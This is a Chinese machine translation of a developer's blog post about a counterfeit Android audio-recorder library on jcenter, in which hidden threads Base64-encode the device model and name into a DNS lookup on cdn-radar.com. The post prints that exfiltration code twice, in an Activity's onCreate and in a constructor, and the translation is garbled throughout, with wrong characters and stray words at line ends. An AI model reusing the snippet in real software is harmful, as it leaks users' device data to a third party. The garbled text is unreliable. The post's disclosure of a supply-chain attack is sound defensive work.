本篇文章来自国外一篇英文文章的翻译。
原文地址:blog.autsoft.hu/a-confusing…
有鉴于此,当前项目统一将jcenter排序在了依赖库源的最后。java
今年早些时候,我接到了一个任务,把一个演示应用程序,其中涉及录制和播放音频。像往常同样,在这种状况下,我搜索互联网,浏览现有的库,看看是否有人有我可使用的解决方案,或者至少基于个人实现。android
我很快就偶然发现了一个名为 adrielcafe/AndroidAudioRecorder 的图书馆。它有一些音频录制的设置,一个漂亮的 UI,很是接近我所须要的,在 GitHub 上几乎有一千颗星星。git
我建立了一个新项目,并按照 README 中的说明进行操做。github
我在清单中添加了录制音频和保存文件所需的权限,这很公平:服务器
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />
复制代码
我将 JitPack 添加到个人存储库中,将库添加到个人依赖项中:markdown
allprojects {
repositories {
google()
jcenter()
maven { url "https://jitpack.io" }
}
}
复制代码
dependencies {
implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
}
复制代码
最后,我还添加了库的最基本的使用实例。:网络
AndroidAudioRecorder.with(this)
.setFilePath(File(getExternalStorageDirectory(), "audio.wav").path)
.setRequestCode(0)
.record()
复制代码
在构建和启动个人应用程序后,我当即崩溃了。我想这必定是API级别的问题(在Oreo上),或者多是我搞砸了对库的调用。一般的怀疑。而后,我在日志中发现的是至关的惊讶。maven
07-25 15:09:23.386 3288-3311/hu.autsoft.example.audiotest E/AndroidRuntime: FATAL EXCEPTION: Thread-5
Process: hu.autsoft.example.audiotest, PID: 3288
java.lang.SecurityException: Permission denied (missing INTERNET permission?)
at java.net.Inet6AddressImpl.lookupHostByName(Inet6AddressImpl.java:135)
at java.net.Inet6AddressImpl.lookupAllHostAddr(Inet6AddressImpl.java:90)
at java.net.InetAddress.getByName(InetAddress.java:743)
at cafe.adriel.androidaudiorecorder.AudioRecorderActivity$1.run(AudioRecorderActivity.java:143)
Caused by: android.system.GaiException: android_getaddrinfo failed: EAI_NODATA (No address associated with hostname)
at libcore.io.Linux.android_getaddrinfo(Native Method)
...
复制代码
该库彷佛在初始化期间进行了网络调用。无论怎么说,他是打算这么作。跳到 stacktrace 指向的行,在 onCreate in the library’s recording Activity 的结尾,在合法的初始化调用以后,我发现了这个:ide
protected void onCreate(Bundle savedInstanceState) {
...
Thread thread = new Thread() {
@Override
public void run() {
try {
InetAddress abc = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
if(abc.isLoopbackAddress()) {
keepDisplayOn = false;
}
} catch (UnknownHostException e) {
e.printStackTrace();
}
}
};
thread.start();
}
复制代码
一个新线程启动,构造一个 URL,其中包含设备的模型和名称,后缀为。N.cdn-radar.com (我不建议访问)。而后,一个 isLoopbackAddress ()调用,据我所知(这主要是猜想,若是你更了解这个方法请纠正我)可能会或者不会短暂地链接到给定的地址,同时检查它是不是一个 loopback 地址。(keepDisplayOn 是这个类中的一个随机字段,我假设这一行在这里,所以这段代码看起来比较合理。)函数
因此基本上,这段代码——若是它工做的话——将个人设备的 make 和 model 发送到一个随机服务器。或者,若是它有互联网许可的话,它就会这么作,固然,几乎全部的应用程序都默认拥有互联网许可。幸运的是,我最新的演示应用程序尚未这个功能。
通过一段时间的调试,我在库中的一个构造函数中发现了很是类似的代码:
private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
Thread thread = new Thread() {
@Override
public void run() {
try {
InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
if(byName.isLoopbackAddress()) {
color = 0;
}
} catch (UnknownHostException e) {
e.printStackTrace();
}
}
};
thread.start();
}
复制代码
固然,GitHub 的源代码是这样的:
private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
}
复制代码
这是很是可疑的。为何一个看似很是流行的库的做者会发布一个与源码建立的不一样的.aar?在这一点上,我已经向他们提出了这个问题。
可是后来,因为他们没有回复,我一直在想... ... 若是 JitPack 只是从 GitHub 上获取代码并本身打包,他们会怎么作呢?JitPack 会将这种恶意代码注入到库中吗?固然不是..。
做为一个随机调试步骤,我从存储库中删除了 JitPack。
allprojects {
repositories {
google()
jcenter()
// maven { url "https://jitpack.io" }
}
}
复制代码
个人代码还在编译中。
这意味着,事实上,我并无从 JitPack 获取这个库。它来自 jcenter。图书馆是如何到达那里的呢?人们将它们发布到 Bintray,而后要求将它们连接到 jcenter (据我所知,这是一个自动的、不多被拒绝的过程)。
这一般是一件好事,由于库做者—— jcenter 在每一个新 Android 项目的默认状况下都做为存储库添加,因此想使用您的库的人没必要添加新存储库,这意味着将您的库添加到他们的项目中只是一个简单的、一行的更改。
在Bintray上搜索这个包,很快就发现了咱们的罪魁祸首。由明显是假的jakewhaarton建立的,在一个以Jake Wharton的一个真实库命名为timber的repo下,咱们发现了这个和许多其余假库。其中一些也是流行的Android库的副本或它们的错别字,而其余一些则与加密货币有关。
注意: 是的,上一段中的连接如今被破坏了,请参阅本文后面的更新。
回到录音库的假拷贝,咱们将看到为何 Gradle 从 jcenter 中提取这个库: 它的 groupId、 artifactId 和版本与原始版本彻底匹配,这是 Gradle 识别软件包的所有依据。
固然,这个包不只存在于jcenter上,也存在于JitPack上。那为何Gradle要从jcenter上拉出假的呢?很简单,在咱们的build.gradle文件中,这个仓库被列在了第一位。由于对大多数人来讲,它都会是默认添加到项目中的仓库之一。这就是这个假用户的期望。
咱们能作些什么呢?Bintray让用户同时报告仓库和包,这是咱们能作的最好的事情。早在2018年2月,我就和几个同事一块儿作了这件事。这个包显然是假的,并且是恶意的。Bintray尚未对它作任何事情。上面布置的方案,到如今还能够重现。
更新:这篇文章发布后,Bintray在Twitter上发现了这个问题,并已经删除了上面连接的包,同时也承诺从此会改进。我如今仍然持怀疑态度。
更新2:Bintray目前已经发布了一份完整的事件报告,详细介绍了事件的通过,他们的补救工做,并对事件再次进行了道歉。
虽然关于Gradle依赖性的恐怖故事比关于NPM的故事要少得多,但在这个生态系统中,意想不到甚至是恶意的事情仍然可能发生,甚至要注意到这一点,可能须要很大的运气。
固然,你也能够在公司内部运行本身的Maven仓库,让每一个项目都彻底依赖它,只有通过仔细审核和验证的包才会被导入。大多数人不会有时间对依赖关系如此谨慎。
如今,我只是开始将jcenter()列在个人项目仓库的最后。